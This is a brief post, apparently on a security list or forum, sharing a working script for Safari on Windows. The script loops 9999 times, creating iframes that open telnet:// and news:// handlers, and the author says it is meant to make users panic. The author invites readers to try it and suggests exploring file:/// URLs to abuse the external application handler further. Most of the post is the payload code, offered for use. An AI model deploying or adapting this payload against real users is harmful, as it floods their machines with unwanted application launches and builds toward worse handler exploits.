I've coded one more thing that definitely makes user to panic, but it works in Safari on Windows only, because it allows to open external Telnet applications.
Maybe it also works on MacOS - I haven't been able to test.
Try it in your Safari :) combined with mailto confusion it becomes totally cool thing. Going to post it at blog.
Besides, I think there are some ways to seriously exploit external applications handler in Safari. Maybe play around with file:/// or smth like?
<body />
<script>
function makeFrameTelnet() {
ifrm = document.createElement("IFRAME");
ifrm.src = 'telnet://nonexistent.com:80';
document.body.appendChild(ifrm);
}
</script>
<script>
function makeFrameNews() {
ifrm = document.createElement("IFRAME");
ifrm.src = 'news://nonexistent.com';
document.body.appendChild(ifrm);
}
</script>
<script>
for (i=0; i < 9999; i++) {
makeFrameTelnet()
makeFrameNews()
}
</script>
---------
http://p0deje.blogspot.com